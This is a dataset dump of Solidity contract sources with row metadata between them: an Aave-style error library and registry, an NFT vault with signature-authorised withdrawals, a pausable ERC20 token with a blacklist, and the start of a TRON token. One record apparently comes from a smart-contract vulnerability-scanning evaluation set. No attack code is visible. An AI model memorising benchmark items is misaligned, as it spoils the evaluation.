emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Errors {
//common errors
string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin'
string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small
//contract specific errors
string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0'
string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve'
string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen'
string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough'
string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance'
string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.'
string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled'
string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected'
string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0'
string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold'
string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow'
string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled
string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed
string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode
string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15';
string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed'
string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve'
string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve'
string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0'
string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral'
string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve'
string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met'
string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed'
string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow'
string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.'
string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent'
string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator'
string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28';
string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool'
string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself'
string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero'
string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized'
string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve'
string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin'
string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered'
string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold'
string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated'
string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency'
string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate"
string public constant LPCM_NO_ERRORS = '46'; // 'No errors'
string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected
string public constant MATH_MULTIPLICATION_OVERFLOW = '48';
string public constant MATH_ADDITION_OVERFLOW = '49';
string public constant MATH_DIVISION_BY_ZERO = '50';
string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128
string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128
string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128
string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128
string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128
string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint
string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57';
string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn
string public constant LP_FAILED_COLLATERAL_SWAP = '60';
string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61';
string public constant LP_REENTRANCY_NOT_ALLOWED = '62';
string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63';
string public constant LP_IS_PAUSED = '64'; // 'Pool is paused'
string public constant LP_NO_MORE_RESERVES_ALLOWED = '65';
string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66';
string public constant RC_INVALID_LTV = '67';
string public constant RC_INVALID_LIQ_THRESHOLD = '68';
string public constant RC_INVALID_LIQ_BONUS = '69';
string public constant RC_INVALID_DECIMALS = '70';
string public constant RC_INVALID_RESERVE_FACTOR = '71';
string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72';
string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73';
string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74';
string public constant UL_INVALID_INDEX = '77';
string public constant LP_NOT_CONTRACT = '78';
string public constant SDT_STABLE_DEBT_OVERFLOW = '79';
string public constant SDT_BURN_EXCEEDS_BALANCE = '80';
enum CollateralManagerErrors {
NO_ERROR,
NO_COLLATERAL_AVAILABLE,
COLLATERAL_CANNOT_BE_LIQUIDATED,
CURRRENCY_NOT_BORROWED,
HEALTH_FACTOR_ABOVE_THRESHOLD,
NOT_ENOUGH_LIQUIDITY,
NO_ACTIVE_RESERVE,
HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD,
INVALID_EQUAL_ASSETS_TO_SWAP,
FROZEN_RESERVE
}
}
interface ILendingPoolAddressesProviderRegistry {
event AddressesProviderRegistered(address indexed newAddress);
event AddressesProviderUnregistered(address indexed newAddress);
function getAddressesProvidersList() external view returns (address[] memory);
function getAddressesProviderIdByAddress(address addressesProvider)
external
view
returns (uint256);
function registerAddressesProvider(address provider, uint256 id) external;
function unregisterAddressesProvider(address provider) external;
}
contract LendingPoolAddressesProviderRegistry is Ownable, ILendingPoolAddressesProviderRegistry {
mapping(address => uint256) private _addressesProviders;
address[] private _addressesProvidersList;
function getAddressesProvidersList() external view override returns (address[] memory) {
address[] memory addressesProvidersList = _addressesProvidersList;
uint256 maxLength = addressesProvidersList.length;
address[] memory activeProviders = new address[](maxLength);
for (uint256 i = 0; i < maxLength; i++) {
if (_addressesProviders[addressesProvidersList[i]] > 0) {
activeProviders[i] = addressesProvidersList[i];
}
}
return activeProviders;
}
function registerAddressesProvider(address provider, uint256 id) external override onlyOwner {
require(id != 0, Errors.LPAPR_INVALID_ADDRESSES_PROVIDER_ID);
_addressesProviders[provider] = id;
_addToAddressesProvidersList(provider);
emit AddressesProviderRegistered(provider);
}
function unregisterAddressesProvider(address provider) external override onlyOwner {
require(_addressesProviders[provider] > 0, Errors.LPAPR_PROVIDER_NOT_REGISTERED);
_addressesProviders[provider] = 0;
emit AddressesProviderUnregistered(provider);
}
function getAddressesProviderIdByAddress(address addressesProvider)
external
view
override
returns (uint256)
{
return _addressesProviders[addressesProvider];
}
function _addToAddressesProvidersList(address provider) internal {
uint256 providersCount = _addressesProvidersList.length;
for (uint256 i = 0; i < providersCount; i++) {
if (_addressesProvidersList[i] == provider) {
return;
}
}
_addressesProvidersList.push(provider);
}
}
| 25,911 | 10,352 |
5d1cf953d1b199d68ecff96ee8bae772441f92fa335f4a5493c83947313d2cc8
| 20,317 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e8/e8126deba5ce53a1da5a9f7939252186d8213afe_TellusFarmerVault.sol
| 3,109 | 10,306 |
// SPDX-License-Identifier: ----
pragma solidity ^0.8.0;
// Get a link to Farmer
interface Ifarmer {
// Transfer farmer
function transferFrom(address from,
address to,
uint256 tokenId) external;
// Burn a farmer
function burn(uint256 tokenId) external;
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
}
else if (signature.length == 64) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
let vs := mload(add(signature, 0x40))
r := mload(add(signature, 0x20))
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
}
else {
revert("invalid signature length");
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"invalid signature 's' value");
require(v == 27 || v == 28, "invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
contract TellusFarmerVault {
// Address of tellus farmer vault owner
address public owner;
// Address of tellus farmer vault admin
address public admin;
// Address of farmer contract
address public immutable farmer;
// Feature (0 = no feature enable, 1 = deposit enable, 2 = receive enable, 3 = both enable)
uint8 public feature;
mapping(address => mapping(bytes32 => bool)) private usedNonces;
// keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)")
bytes32 public constant DOMAIN_TYPEHASH = 0x8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866;
bytes32 public immutable DOMAIN_SEPARATOR;
bytes32 public constant RECEIVE_WITH_AUTHORIZATION_TYPEHASH = 0xd099cc98ef71107a616c4f0f941f04c322d8e254fe26b3c6668db87aae413de8;
// keccak256("CancelAuthorization(address authorizer,bytes32 nonce)")
bytes32 public constant CANCEL_AUTHORIZATION_TYPEHASH = 0x158b0a9edf7a828aad02f63cd515c68ef2f50ba807396f6d12842833a1597429;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
event Deposit (address indexed from,
uint256 indexed id);
event Withdraw (address indexed by,
address indexed to,
uint256 indexed id);
event Burned (address indexed by,
uint256 indexed id);
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event AuthorizationCanceled(address indexed authorizer, bytes32 indexed nonce);
constructor(address owner_, address admin_, address farmer_) {
require(owner_ != admin_, "Invalid input");
// Setup smart contract internal state
owner = owner_;
admin = admin_;
farmer = farmer_;
DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes("TellusFarmerVault")), block.chainid, address(this)));
}
modifier onlyOwner() {
require(owner == msg.sender, "Access denied");
_;
}
function transferOwnership(address newOwner_) external onlyOwner {
require(newOwner_ != admin, "Admin can't be owner");
// Update owner address
owner = newOwner_;
// Emits an event
emit OwnershipTransferred(msg.sender, newOwner_);
}
function setAdmin(address admin_) external onlyOwner {
require(owner != admin_, "Owner can't be admin");
// Emits an event
emit AdminTransferred(admin, admin_);
// Update admin address
admin = admin_;
}
function setFeature(uint8 feature_) external onlyOwner {
// Update new feature
feature = feature_;
}
function deposit(uint256[] memory id_) external {
require(feature == 1 || feature == 3, "Feature disable");
for(uint i; i < id_.length; i++) {
// Transfer farmer from depositor to vault
Ifarmer(farmer).transferFrom(msg.sender, address(this), id_[i]);
// Emits an event
emit Deposit(msg.sender, id_[i]);
}
}
function authorizationState(address authorizer_, bytes32 nonce_) external view returns (bool) {
return usedNonces[authorizer_][nonce_];
}
function receiveWithAuthorization(address from_,
address to_,
uint256 value_,
uint256 validAfter_,
uint256 validBefore_,
bytes32 nonce_,
uint8 v,
bytes32 r,
bytes32 s) external {
require(feature == 2 || feature == 3, "Feature disable");
// Derive signer of the EIP712 ReceiveWithAuthorization message
address signer = __deriveSigner(abi.encode(RECEIVE_WITH_AUTHORIZATION_TYPEHASH, from_, to_, value_, validAfter_, validBefore_, nonce_), v, r, s);
// Perform message integrity and security validations
require(signer == from_ && from_ == admin, "invalid signature");
require(block.timestamp > validAfter_, "signature not yet valid");
require(block.timestamp < validBefore_, "signature expired");
require(to_ == msg.sender, "access denied");
// Use the nonce supplied (verify, mark as used, emit event)
__useNonce(from_, nonce_, false);
// Transfer farmer to payee's address
Ifarmer(farmer).transferFrom(address(this), to_, value_);
// Emits an event
emit Withdraw(from_, to_, value_);
}
function receiveWithAuthorizationBatch(address from_,
address to_,
uint256[] memory value_,
uint256 validAfter_,
uint256 validBefore_,
bytes32[] memory nonce_,
uint8[] memory v,
bytes32[] memory r,
bytes32[] memory s) external {
require(feature == 2 || feature == 3, "Feature disable");
require(block.timestamp > validAfter_, "signature not yet valid");
require(block.timestamp < validBefore_, "signature expired");
require(to_ == msg.sender, "access denied");
for(uint i; i < value_.length; i++) {
// Derive signer of the EIP712 ReceiveWithAuthorization message
address signer = __deriveSigner(abi.encode(RECEIVE_WITH_AUTHORIZATION_TYPEHASH, from_, to_, value_[i], validAfter_, validBefore_, nonce_[i]), v[i], r[i], s[i]);
// Perform message integrity and security validations
require(signer == from_ && from_ == admin, "invalid signature");
// Use the nonce supplied (verify, mark as used, emit event)
__useNonce(from_, nonce_[i], false);
// Transfer farmer to payee's address
Ifarmer(farmer).transferFrom(address(this), to_, value_[i]);
// Emits an event
emit Withdraw(from_, to_, value_[i]);
}
}
function cancelAuthorization(address authorizer_,
bytes32 nonce_,
uint8 v,
bytes32 r,
bytes32 s) external {
// derive signer of the EIP712 ReceiveWithAuthorization message
address signer = __deriveSigner(abi.encode(CANCEL_AUTHORIZATION_TYPEHASH, authorizer_, nonce_), v, r, s);
// perform message integrity and security validations
require(signer == authorizer_, "invalid signature");
// cancel the nonce supplied (verify, mark as used, emit event)
__useNonce(authorizer_, nonce_, true);
}
function __deriveSigner(bytes memory abiEncodedTypehash, uint8 v, bytes32 r, bytes32 s) private view returns(address) {
// build the EIP-712 hashStruct of the message
bytes32 hashStruct = keccak256(abiEncodedTypehash);
// calculate the EIP-712 digest "\x19\x01" domainSeparator hashStruct(message)
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
// recover the address which signed the message with v, r, s
address signer = ECDSA.recover(digest, v, r, s);
// return the signer address derived from the signature
return signer;
}
function __useNonce(address authorizer_, bytes32 nonce_, bool cancellation_) private {
// verify nonce was not used before
require(!usedNonces[authorizer_][nonce_], "invalid nonce");
// update the nonce state to "used" for that particular signer to avoid replay attack
usedNonces[authorizer_][nonce_] = true;
// depending on the usage type (use/cancel)
if(cancellation_) {
// emit an event regarding the nonce cancelled
emit AuthorizationCanceled(authorizer_, nonce_);
}
else {
// emit an event regarding the nonce used
emit AuthorizationUsed(authorizer_, nonce_);
}
}
function withdraw(uint256[] memory id_, address[] memory to_) external onlyOwner {
require(id_.length == to_.length, "Invalid inputs");
for(uint i; i < id_.length; i++) {
// Transfer farmer to given address
Ifarmer(farmer).transferFrom(address(this), to_[i], id_[i]);
// Emits an event
emit Withdraw(msg.sender, to_[i], id_[i]);
}
}
function burn(uint256[] memory id_) external onlyOwner {
for(uint i; i < id_.length; i++) {
// Burn farmer
Ifarmer(farmer).burn(id_[i]);
// Emits an event
emit Burned(msg.sender, id_[i]);
}
}
}
| 96,233 | 10,353 |
34fd70d073b4aa0bc05839c54422830da4444f4608cb4493cafd409383e49efb
| 20,618 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xbb56454d6f7297fca13a3ba090ce3d6bc0d6d7e1.sol
| 3,439 | 13,102 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
// File: contracts/BlacklistAdminRole.sol
contract BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _blacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender));
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _blacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyBlacklistAdmin {
_addBlacklistAdmin(account);
}
function renounceBlacklistAdmin() public {
_removeBlacklistAdmin(msg.sender);
}
function _addBlacklistAdmin(address account) internal {
_blacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_blacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
// File: contracts/BlacklistedRole.sol
contract BlacklistedRole is BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistedAdded(address indexed account);
event BlacklistedRemoved(address indexed account);
Roles.Role private _blacklisteds;
modifier onlyBlacklisted() {
require(isBlacklisted(msg.sender));
_;
}
modifier onlyNotBlacklisted() {
require(!isBlacklisted(msg.sender));
_;
}
function isBlacklisted(address account) public view returns (bool) {
return _blacklisteds.has(account);
}
function addBlacklisted(address account) public onlyBlacklistAdmin {
_addBlacklisted(account);
}
function removeBlacklisted(address account) public onlyBlacklistAdmin {
_removeBlacklisted(account);
}
function renounceBlacklisted() public {
_removeBlacklisted(msg.sender);
}
function _addBlacklisted(address account) internal {
_blacklisteds.add(account);
emit BlacklistedAdded(account);
}
function _removeBlacklisted(address account) internal {
_blacklisteds.remove(account);
emit BlacklistedRemoved(account);
}
}
// File: contracts/GoldTokenPausable.sol
contract GoldTokenPausable is ERC20, Pausable, BlacklistedRole {
function transfer(address to, uint256 value) public whenNotPaused onlyNotBlacklisted returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused onlyNotBlacklisted returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused onlyNotBlacklisted returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused onlyNotBlacklisted returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused onlyNotBlacklisted returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
// File: contracts/GoldChainCoin.sol
contract GoldChainCoin is ERC20Detailed, ERC20Burnable, ERC20Mintable, GoldTokenPausable {
uint8 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(DECIMALS));
constructor () public ERC20Detailed("Gold Chain Coin", "GCC", DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
| 179,942 | 10,354 |
6346081002e6b73d0c05dbd2ba740dec080993d4aa925df84057ff102667a935
| 24,294 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMFQGgZfknSQ4aDUx5cHPDYxCg2nzNZkr5_Metalife.sol
| 3,332 | 12,017 |
//SourceUnit: metalifetoken.sol
pragma solidity 0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
